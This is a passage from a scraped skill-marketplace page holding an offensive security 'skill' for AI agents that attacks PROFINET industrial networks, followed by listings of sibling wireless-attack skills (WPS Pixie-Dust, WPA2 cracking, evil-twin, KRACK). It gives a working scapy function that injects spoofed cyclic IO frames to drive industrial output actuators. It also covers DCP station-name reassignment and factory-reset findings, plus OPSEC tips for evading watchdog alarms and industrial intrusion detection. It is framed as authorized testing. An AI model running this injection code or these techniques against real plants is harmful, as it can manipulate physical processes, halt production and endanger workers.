frames. An attacker on the segment can inject or replay spoofed IO data frames.\n\n```bash\n# Capture baseline cyclic IO traffic for a device pair\nsudo tcpdump -i eth0 -w \u002Ftmp\u002Fprofinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff\n# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id \u003C= 0xBFFF\n# Identify FrameID, CycleCounter pattern, DataLen for the target device\n```\n\n```python\nfrom scapy.all import Ether, sendp\nimport struct, time\n\ndef inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface=\"eth0\"):\n    \"\"\"\n    Inject a PROFINET RT cyclic data frame.\n    frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)\n    cycle_counter: Increment to match expected sequence (replay detection hint)\n    io_data: bytes — the cyclic process data payload (output values for the IO-device)\n    \"\"\"\n    # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)\n    rt_header = struct.pack(\">H\", frame_id)\n    rt_footer = struct.pack(\">HBB\", cycle_counter, 0x35, 0x00)\n    # DataStatus 0x35 = valid + running + no problem\n    payload = rt_header + io_data + rt_footer\n    frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) \u002F payload\n    sendp(frame, iface=iface, verbose=False)\n\n# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY\n# io_data = b\"\\x00\" * 4  # size must match actual IO module output size\n# inject_profinet_rt(\"aa:bb:cc:dd:ee:ff\", \"00:11:22:33:44:55\", 0x8001, 1234, io_data)\n```\n\n> Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital\u002Fanalog outputs) actuate per the injected data.\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor\u002Ffirmware\u002Fstation names |\n| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |\n| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |\n| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |\n| Flat IT\u002FOT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |\n| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |\n\n## Evidence\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"profinet-dcp::{iface}\",'\n    '  \"label\": \"PROFINET DCP unauthenticated device enumeration\",'\n    '  \"props\": {\"protocol\": \"profinet-dcp\",'\n    '            \"ethertype\": \"0x8892\",'\n    '            \"devices_found\": device_count,'\n    '            \"station_names\": station_names_list,  # list of discovered names'\n    '            \"dcp_set_accepted\": False,  # set True only after confirmed write-scope test'\n    '            \"source\": \"scapy-dcp-identify-all\",'\n    '            \"l2_segment\": iface}}]'\n)\n```\n\n## ZFP (two-method evidence)\n\n1. Wireshark capture (`.pcap`) containing DCP Identify responses, showing at least one device with decoded `NameOfStation`, `IPSuite`, and `VendorID` blocks.\n2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.\n\nIf write testing was authorized: include DCP Set response frame showing `BlockError=0x00` (Set accepted) and a follow-up DCP Get confirming the new station name or IP.\n\n## OPSEC notes\n\n- DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.\n- DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.\n- Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.\n- Name\u002FIP reassignment takes effect immediately. There is no \"preview\" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.\n- PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering `DataStatus` watchdog alarms on the IO-device.\n- Always record original station names and IPs before any DCP Set — document them in evidence for restoration.\n- Cross-reference `s7comm` skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read\u002Fwrite.\n\n## References\n\n- PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com\u002Ftechnology\u002Fprofinet\u002F\n- Wireshark `pn_dcp` and `pn_rt` dissectors — Wireshark PROFINET protocol documentation\n- Siemens Security Bulletins (SSA-*) — cert.siemens.com\n- ICS-CERT PROFINET advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- \"Hacking PROFINET\" — Alexander Bolshev, Black Hat 2013\n- Scapy Layer 2 documentation — scapy.readthedocs.io\n- python-profinet library — github.com\u002Fwandel\u002Fpython-profinet\n- Claroty PROFINET research briefs — claroty.com\u002Fresearch\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"profinet, dcp, siemens, ics, ot, fieldbus","ics-ot","profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset","T0842, T0846, T0814, T0816","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fprofinet","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill profinet",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill profinet",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill profinet","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fprofinet\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]